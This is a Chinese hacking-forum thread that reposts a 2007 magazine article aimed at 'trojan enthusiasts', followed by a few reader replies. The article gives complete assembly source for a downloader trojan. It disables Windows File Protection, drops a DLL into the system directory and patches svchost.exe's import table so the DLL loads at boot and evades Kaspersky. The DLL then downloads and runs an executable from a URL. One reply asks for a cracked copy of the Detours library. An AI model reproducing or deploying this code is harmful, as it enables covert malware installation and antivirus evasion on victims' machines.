发新话题
打印

[原创]修改引入表打造穿透KIS6的下载者

[原创]修改引入表打造穿透KIS6的下载者

文章作者:gyzy [E.S.T](www.gyzy.org
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

本文已经发表在《黑客防线》2007年2月刊。作者及《黑客防线》保留版权,转载请注明原始出处。

适合读者:木马爱好者
前置知识:汇编语言基础,PE结构基础

文/图 孤烟逐云(gyzy)【江苏大学信息安全系 & 邪恶八进制信息安全团队】

  今年四月份的黑防有一篇文章《把任意可执行文件作为木马载体》,文中介绍了通过给可执行文件添加一个新节并修改程序入口点的方法来加载我们的特洛伊DLL,此方法具有明显的病毒行为特征,卡巴会将其识别为新的Win32病毒,据我的理解,凡是入口点不是指向代码节的它都会报有毒.KIS是防火墙与杀毒软件等传统安全产品的超集,是行为加特征码来防范恶意软件,所以以往普遍使用的诸如:CreateRemoteThread、SetThreadContext、SetWindowHook等等以及通过Appinit_Dlls等注册表键值来进行代码注入的行为都会被KIS所拦截.而且可信进程的可疑网络行为也会被警告,如:IE浏览器访问一些非Web端口.Windows 系统服务分为独立进程和共享进程两种,在Windows NT时只有服务器管理器SCM(Services.exe)有多个共享服务,随着系统内置服务的增加,从Windows 2000开始微软又把很多服务做成共享方式,由svchost.exe启动。svchost作为NT平台网络服务的载体,是唯一一个在kIS下拥有完全访问网络权限的程序,假如能让它加载我们的DLL,那么就可以轻松穿透KIS这堵铁墙.修改svchost的引入表就能达到这个目的,前段时间的一个后门"黑客之门"就是通过这种方式自启动的,修改EXE文件的引入表需要读者对PE文件结构有一定的了解,何为引入表呢?每个PE文件都有引入表,svchost的引入表如图1:


图1
每个引入的DLL都会用一个IMAGE_IMPORT_DESCRIPTOR表示,该结构定义如下:
IMAGE_IMPORT_DESCRIPTOR STRUCT
  union
  Characteristics dd ?
  OriginalFirstThunk dd ?
  ends
  TimeDateStamp dd ?
  ForwarderChain dd ?
  Name1 dd ?
  FirstThunk dd ?
IMAGE_IMPORT_DESCRIPTOR ENDS
对照着图应该很容易明白,修改后的引入表如图2:


这样,系统重启后svchost就会默认加载我们的sec.dll,于是强大的卡巴就倒在了脚下。
  其实,像“黑客之门”一样修改引入表实现自启动非常简单,方法有两种,一种是利用微软提供的Detour库实现,另外一种就是自己实现,我比较推荐第一种,但是抱着学习的目的我们还是得练练手,代码我已经用纯ASM实现了一个简单的下载者,仅供各位参考,概括的说一下实现过程:
1.定位目标原引入表,将其读出
2.增加一个新节
3.将被我们修改过的引入表写入新节
4.将目标的引入表地址指向新节
这有个问题需要澄清一下,增加一个新节会使目标的文件大小改变,要文件大小不变也可以,只要找到足够大的空隙,然后写入新引入表即可,我下面的代码以XP下的svchost作为例子,所以无法插入空隙,修改使文件大小不改变的就留给各位读者当个作业吧。
复制内容到剪贴板
代码:
.386
.model flat,stdcall
option casemap:none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;include
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include  windows.inc
include  kernel32.inc
includelib kernel32.lib
include  advapi32.inc
includelib advapi32.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data
dwWriten dd 0
zero     dd 0
dllname   db 'sec.dll',0
funpara  db 0,0,'SecConfig',0
PE_Header    IMAGE_NT_HEADERS  <0>
My_Section    IMAGE_SECTION_HEADER  <>
My_Dll       MAGE_IMPORT_DESCRIPTOR <>
My_DllName     IMAGE_IMPORT_BY_NAME   <>
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.const
Head_Len     equ  sizeof IMAGE_NT_HEADERS + sizeof IMAGE_SECTION_HEADER
;宏
CTEXT  MACRO y:VARARG
  LOCAL sym
  CONST segment
  ifidni <y>,<>
    sym db 0   
  else      
    sym db y,0
  endif
  CONST ends
  exitm <offset sym>
ENDM
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
include  disablewfp.asm
start:
.code
  call _Sfcoff  ;关闭文件保护
   call CreateDll
   call SetFile
   call Modimport ;改写PE文件引入表
exit:
     invoke ExitProcess,NULL

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;对目标文件进行更名
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
SetFile proc
    local destpath[255]:BYTE
    local tmppath[255]:BYTE
  invoke RtlZeroMemory,addr destpath,255
  invoke RtlZeroMemory,addr tmppath,255
  invoke GetSystemDirectory,addr destpath,255
  invoke GetSystemDirectory,addr tmppath,255
  invoke lstrcat,addr destpath,CTEXT("\svchost.exe")
  invoke lstrcat,addr tmppath,CTEXT("\suchost.exe")
  
  invoke MoveFile,addr destpath,addr tmppath
  invoke CopyFile,addr tmppath,addr destpath,FALSE
  ret
SetFile endp


;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;RVA转换成磁盘文件中的偏移
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
RVAToOffset PROC uses edi esi edx ecx pFileMap:DWORD,RVA:DWORD
  mov esi,pFileMap
  assume esi:ptr IMAGE_DOS_HEADER
  add esi,[esi].e_lfanew
  assume esi:ptr IMAGE_NT_HEADERS
  mov edi,RVA ; edi == RVA
  mov edx,esi
  add edx,sizeof IMAGE_NT_HEADERS
  mov cx,[esi].FileHeader.NumberOfSections
  movzx ecx,cx
  assume edx:ptr IMAGE_SECTION_HEADER
  .while ecx>0 ; check all sections
   .if edi>=[edx].VirtualAddress
    mov eax,[edx].VirtualAddress
    add eax,[edx].SizeOfRawData
    .if edi<eax ; The address is in this section
     mov eax,[edx].VirtualAddress
     sub edi,eax
     mov eax,[edx].PointerToRawData
     add eax,edi ; eax == file offset
     ret
    .endif
   .endif
   add edx,sizeof IMAGE_SECTION_HEADER
   dec ecx
  .endw
  assume edx:nothing
  assume esi:nothing
  mov eax,edi
  ret
RVAToOffset endp

Modimport proc
    local szpath[255]:BYTE
    LOCAL hFile: HANDLE
    LOCAL dwPE_Header_OffSet: DWORD
    LOCAL dwFileReadWritten: DWORD
    LOCAL dwMySectionOffSet: DWORD
    LOCAL dwLastSection_SizeOfRawData: DWORD
    LOCAL dwLastSection_PointerToRawData: DWORD
    LOCAL hMapping: DWORD
    LOCAL pMapping: DWORD
    LOCAL oImport[520]:BYTE
    LOCAL oImportlen
    LOCAL Chrarctics
    LOCAL dllnamelen:DWORD
    LOCAL funparalen:DWORD
    LOCAL irva:DWORD

  invoke RtlZeroMemory,addr oImport,520
  invoke RtlZeroMemory,addr szpath,255
  nvoke lstrcat,addr szpath,CTEXT("test.exe")

  ;打开文件:
  invoke CreateFile, addr szpath, GENERIC_READ or GENERIC_WRITE,\
      FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
  .if eax == INVALID_HANDLE_VALUE
    jmp Err_CreateFile_Exit
  .endif
  mov hFile, eax
  
  ;创建内存映射文件
    invoke CreateFileMapping, hFile, NULL, PAGE_READONLY,0,0,0
  .if eax!=NULL
    mov hMapping, eax
  .endif
  invoke MapViewOfFile,hMapping,FILE_MAP_READ,0,0,0
  .if eax!=NULL
   mov pMapping,eax
  .endif

  ;****************************************
  ;读取PE文件头
  ;****************************************
  invoke SetFilePointer, hFile, 3ch, 0, FILE_BEGIN
  invoke ReadFile, hFile, addr dwPE_Header_OffSet, 4, addr dwFileReadWritten, NULL
  invoke SetFilePointer, hFile, dwPE_Header_OffSet, 0, FILE_BEGIN
  invoke ReadFile, hFile, addr PE_Header, Head_Len, addr dwFileReadWritten, NULL
  
  ;****************************************
  ;PE文件有效性检查
  ;****************************************
  .if [PE_Header.Signature] != IMAGE_NT_SIGNATURE
    jmp Exit
  .endif
   
  ;****************************************
  ;判断是否有足够空间存储新节:
  ;****************************************
  movzx eax, [PE_Header.FileHeader.NumberOfSections]  ;得到添加新节前有多少个节:
  mov ecx, 28h  ;28h = sizeof IMAGE_SECTION_HEADER
  mul ecx     ;eax = NumberOfSections * sizeof IMAGE_SECTION_HEADER
  add eax, dwPE_Header_OffSet  ;eax = eax + PE文件头偏移
  add eax, 18h  ;18h = sizeof IMAGE_FILE_HEADER
  movzx ecx, [PE_Header.FileHeader.SizeOfOptionalHeader]
  add eax, ecx  ;eax = eax + sizeof IMAGE_OPTIONAL_HEADER
  add eax, 28h  ;添加一个新节的大小
  .if eax > [PE_Header.OptionalHeader.SizeOfHeaders]
    jmp Exit
  .endif

  ;**************************************************
  ;计算新节的偏移地址:
  ;**************************************************
  movzx eax, [PE_Header.FileHeader.NumberOfSections]
  mov ecx, 28h
  mul ecx      ;eax = NumberOfSections * sizeof IMAGE_SECTION_HEADER
  add eax, 4h    ;4h = sizeof "PE\0\0"
  add eax, dwPE_Header_OffSet
  add eax, sizeof IMAGE_FILE_HEADER
  add eax, sizeof IMAGE_OPTIONAL_HEADER
  mov dwMySectionOffSet, eax  ;现在得到了我们的新节的偏移地址
  push [PE_Header.OptionalHeader.SizeOfImage]
  pop [My_Section.VirtualAddress]
  
  
  ;****************************************
  ;重构引入表,在文件的最后写入我们的新节:
  ;****************************************
  ;读取原始引入表数据,读取正确的不带0的引入表
  mov edi,[PE_Header.OptionalHeader.DataDirectory [sizeof IMAGE_DATA_DIRECTORY].VirtualAddress]
  invoke RVAToOffset,pMapping,edi
  mov edi,eax
  invoke SetFilePointer, hFile, edi, 0, FILE_BEGIN
  ;不读空的结束符
  mov oImportlen,0
  lea edi,oImport
calclen:
  invoke ReadFile, hFile, edi , 4, addr dwFileReadWritten, NULL
  mov ebx,[edi]
  test ebx,ebx
  jz calcover
  add edi,4
  add oImportlen,4
  jmp calclen
calcover:


  ;写入dll名称,定位到最后一节的raw offset处
  mov eax, dwMySectionOffSet
  sub eax, 18h
  invoke SetFilePointer, hFile, eax, 0, FILE_BEGIN
  invoke ReadFile, hFile, addr dwLastSection_SizeOfRawData, 4, addr dwFileReadWritten, NULL
  invoke ReadFile, hFile, addr dwLastSection_PointerToRawData, 4, addr dwFileReadWritten, NULL  
  mov ebx, dwLastSection_SizeOfRawData
  add ebx, dwLastSection_PointerToRawData
  invoke SetFilePointer, hFile, ebx, 0, FILE_BEGIN
  push 0
  lea eax, dwFileReadWritten
  push eax
  mov eax,sizeof dllname
  mov dllnamelen,eax
  push eax ;[My_Section.SizeOfRawData]
  lea eax, dllname
  push eax
  push hFile
  call WriteFile
  
  ;写入IMAGE_THUNK_DATA
  push 0
  lea eax, dwFileReadWritten
  push eax  
  mov eax,sizeof funpara
  ;add eax,sizeof funpara
  mov funparalen,eax
  push eax
  lea eax, funpara
  push eax
  push hFile
  call WriteFile
  
  ;写入IMAGE_THUNK_DATA的RVA
  mov eax,[My_Section.VirtualAddress]
  add eax,dllnamelen
  mov irva,eax
  invoke WriteFile, hFile, addr irva, 4, addr dwFileReadWritten, NULL
  ;写入一个空IMAGE_THUNK_DATA的RVA作为结尾
  invoke WriteFile, hFile, addr zero, 4, addr dwFileReadWritten, NULL
  
  ;写入原引入表数据
  mov ecx,oImportlen
  invoke WriteFile, hFile, addr oImport, ecx, addr dwFileReadWritten, NULL  
  
  ;构造新引入的DLL的IMAGE_IMPORT_DESCRIPTOR
  mov eax,[My_Section.VirtualAddress]
  add eax,dllnamelen
  add eax,funparalen
  mov [My_Dll.OriginalFirstThunk],eax
  mov [My_Dll.TimeDateStamp],0FFFFFFFFh
  mov [My_Dll.ForwarderChain],0FFFFFFFFh
  mov ebx,[My_Section.VirtualAddress]
  mov [My_Dll.Name1],ebx
  mov [My_Dll.FirstThunk],eax
  
  ;写入新引入的DLL的IMAGE_IMPORT_DESCRIPTOR
  invoke WriteFile, hFile, addr My_Dll, 20, addr dwFileReadWritten, NULL
  
  ;写入以0结尾的空IMAGE_IMPORT_DESCRIPTOR
    push 20
    pop ecx
fillzero:
    push ecx
    invoke WriteFile, hFile, addr zero, 1, addr dwFileReadWritten, NULL
    pop ecx
    dec ecx
    test ecx,ecx
    jnz fillzero


  ;****************************************
  ;填充我们自己的节的信息:
  ;****************************************
  mov dword ptr [My_Section.Name1], "ler."
  mov dword ptr [My_Section.Name1]+4, "co"
  mov [My_Section.Misc.VirtualSize], 1000h
  push [PE_Header.OptionalHeader.SizeOfImage]
  pop [My_Section.VirtualAddress]
  mov eax, [My_Section.Misc.VirtualSize]
  mov eax,dllnamelen
  add eax,funparalen
  add eax,28
  add eax,[PE_Header.OptionalHeader.DataDirectory [sizeof IMAGE_DATA_DIRECTORY].isize]
  mov [My_Section.SizeOfRawData], eax ;SizeOfRawData在EXE文件中是对齐到FileAlignMent的整数倍的值
  mov eax, dwMySectionOffSet
  sub eax, 18h  ;这个偏移是定位到最后一节的“SizeOfRawData”
  invoke SetFilePointer, hFile, eax, 0, FILE_BEGIN
  invoke ReadFile, hFile, addr dwLastSection_SizeOfRawData, 4, addr dwFileReadWritten, NULL
  invoke ReadFile, hFile, addr dwLastSection_PointerToRawData, 4, addr dwFileReadWritten, NULL
  ;每个节的 PointerToRawData 等于它的上一节的 SizeOfRawData + PointerToRawData:
  mov eax, dwLastSection_SizeOfRawData
  add eax, dwLastSection_PointerToRawData
  mov [My_Section.PointerToRawData], eax
  mov [My_Section.PointerToRelocations], 0h
  mov [My_Section.PointerToLinenumbers], 0h
  mov [My_Section.NumberOfRelocations], 0h
  mov [My_Section.NumberOfLinenumbers], 0h
  mov [My_Section.Characteristics], 0C0000040h  ;可读可写

  ;**************************************************
  ;重新写入IMAGE_SECTION_HEADER:(包含了新节的信息)
  ;**************************************************
  invoke SetFilePointer, hFile, dwMySectionOffSet, 0, FILE_BEGIN
  invoke WriteFile, hFile, addr My_Section, sizeof IMAGE_SECTION_HEADER, addr dwFileReadWritten, NULL

  ;**************************************************
  ;改写IMAGE_NT_HEADERS
  ;(需要改写 SizeOfImage)
  ;**************************************************
  inc [PE_Header.FileHeader.NumberOfSections]
  mov eax, [My_Section.VirtualAddress]
  add eax, dllnamelen
  add eax, funparalen
  add eax, 8
  mov [PE_Header.OptionalHeader.DataDirectory [sizeof IMAGE_DATA_DIRECTORY].VirtualAddress],eax
  mov eax, [My_Section.Misc.VirtualSize]
  mov ecx, [PE_Header.OptionalHeader.SectionAlignment]
  cdq
  div ecx
  inc eax
  mul ecx
  add eax, [PE_Header.OptionalHeader.SizeOfImage]
  mov [PE_Header.OptionalHeader.DataDirectory [(sizeof IMAGE_DATA_DIRECTORY)*11].VirtualAddress], 0
  mov [PE_Header.OptionalHeader.DataDirectory [(sizeof IMAGE_DATA_DIRECTORY)*11].isize], 0
  mov [PE_Header.OptionalHeader.DataDirectory [(sizeof IMAGE_DATA_DIRECTORY)*12].VirtualAddress], 0
  mov [PE_Header.OptionalHeader.DataDirectory [(sizeof IMAGE_DATA_DIRECTORY)*12].isize], 0
  sub eax,1000h
  mov [PE_Header.OptionalHeader.SizeOfImage], eax  ;SizeOfImage是一个对齐到SectionAlignment的整数倍的值
  invoke SetFilePointer, hFile, dwPE_Header_OffSet, 0, FILE_BEGIN
  invoke WriteFile, hFile, addr PE_Header, sizeof IMAGE_NT_HEADERS, addr dwFileReadWritten, NULL
  
  ;改写.text属性为E00000020h,默认.text为第一个节
  mov eax, dwPE_Header_OffSet
  add eax, sizeof IMAGE_FILE_HEADER
  add eax, sizeof IMAGE_OPTIONAL_HEADER
  add eax,40;定位到Characteristics 0E0000020h
  invoke SetFilePointer, hFile, eax, 0, FILE_BEGIN
  push NULL
  lea eax, dwFileReadWritten
  push eax
  push 4
  mov Chrarctics,0E0000020h
  lea eax,Chrarctics
  push eax
  push hFile
  call WriteFile
  
Exit:
  ;关闭文件:
  invoke UnmapViewOfFile, pMapping
  invoke CloseHandle,hMapping
  invoke CloseHandle, hFile  
Err_CreateFile_Exit:
  ret
Modimport endp

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;释放DLL至系统目录
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>
CreateDll proc
  local hResInfo:HRSRC
  local hResData:HGLOBAL
  local dwSize:DWORD
  local dwWritten:DWORD
  local hFile:HANDLE
  local hRec:HANDLE
  local dllpath[255]:BYTE
    invoke RtlZeroMemory,addr dllpath,255
    invoke GetSystemDirectory,addr dllpath,255
    invoke lstrcat,addr dllpath,CTEXT("\sec.dll")
    invoke FindResource,0,1001,CTEXT("DLL")
    mov hResInfo,eax
    invoke SizeofResource,0,hResInfo
    mov dwSize,eax
    invoke LoadResource,0,hResInfo
    mov hResData,eax
    invoke CreateFile,addr dllpath,GENERIC_WRITE,0, NULL,CREATE_ALWAYS,0,NULL
    mov hFile,eax
    invoke LockResource,hResData
    mov hRec,eax
    invoke WriteFile,hFile,hRec,dwSize,addr dwWritten,0
    invoke CloseHandle,hFile
    ret
CreateDll endp

end start
DLL实现下载并执行的功能,代码如下:
.386
.model flat, stdcall
option casemap :none   ; case sensitive
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include windows.inc
include kernel32.inc
includelib kernel32.lib

down proto
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
return MACRO arg
      mov eax, arg
      ret
ENDM

;宏
CTEXT  MACRO y:VARARG
  LOCAL sym
  CONST segment
  ifidni <y>,<>
    sym db 0   
  else      
    sym db y,0
  endif
  CONST ends
  exitm <offset sym>
ENDM
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data
szURL db &#39;http://127.0.0.1/gyzy.exe&#39;,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
szPath db &#39;c:\a.exe&#39;,0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
LibMain proc hInstDLL:DWORD, reason:DWORD, unused:DWORD
        .if reason == DLL_PROCESS_ATTACH
            invoke CreateThread,0,0,offset down,0,0,0
            return TRUE
        .elseif reason == DLL_PROCESS_DETACH
        .elseif reason == DLL_THREAD_ATTACH
        .elseif reason == DLL_THREAD_DETACH
        .endif
        ret
LibMain Endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;下载者功能执行模块
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
down proc
      local downfunc:DWORD
   
      call loadlib
      lib db &#39;urlmon&#39;,0
loadlib:
      call LoadLibraryA
      call getfuncaddr
      func db &#39;URLDownloadToFileA&#39;,0
getfuncaddr:
      push eax
      call GetProcAddress
      mov downfunc,eax

again:
      push 5000
      call Sleep
      
      push NULL
      push NULL
      push offset szPath
      push offset szURL
      push NULL
      call downfunc
      
      test eax,eax
      jnz again

      call exec
tExit:
      ret
down endp

exec proc
      invoke WinExec,offset szPath,1
      ret
exec endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;为引入表导出的函数
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
SecConfig proc
      xor eax,eax
   ret
SecConfig endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
End LibMain
其中我们的DLL必须导出一个函数,否则svchost会报找不到指定的要加载的DLL,测试的时候需要先停止windows系统文件保护,然后替换svchost.exe,重启后就会发现我们的小马已经成功下载东西,但是还有一些瑕疵有待改善,XP下默认有多个svchost,所以我们的DLL中的线程也运行了多次。卡巴大叔一点反应都没有(除程序完整性检测外其余均打开的情况下,默认的高级模式)如图3:


图3
  代码写的比较匆忙,错误纰漏在所难免,权当抛砖引玉,有任何问题,欢迎和我交流:www.gyzy.org
(文中涉及程序或代码已经收录到杂志配套光盘“杂志相关”栏目。)

TOP

《把任意可执行文件作为木马载体》 这篇文章我也看过
你实现的功能和那个一样的吧 ,还是?
我ASM 不行
哪里理解错了请谅解
呵呵
^_^    社会需求将决定你的价值    ^_^

TOP

不一样,《把任意可执行文件作为木马载体》是修改了入口点,增加了代码。
而我这个是修改PE的引入表。方法不同,修改入口点会被卡巴杀

TOP

传说中的“黑客之门的感染PE文件”就是“修改引入表”?了解了!

TOP

对,就是我所使用的代码。可能只是代码写的比我精致。

TOP

恩,lz提到的detour库写这些东西确实简单了不少,不过让我选择我还是喜欢LZ这样的写法。detour库的功能很多,不过1。5以上的版本在vc6下好像不能编译,所以我测试的是1.2版本,2。0以上好像商业化了,MD!哪个给个破解版啊?
俺是mika!别叫错了! 俺的QQ:794773 http://hi.baidu.com/stealthwalker/ my private area ------------------------------------------------------------ <a href=http://hi.baidu.com/stealthwalker target=_blank></a>

TOP

发新话题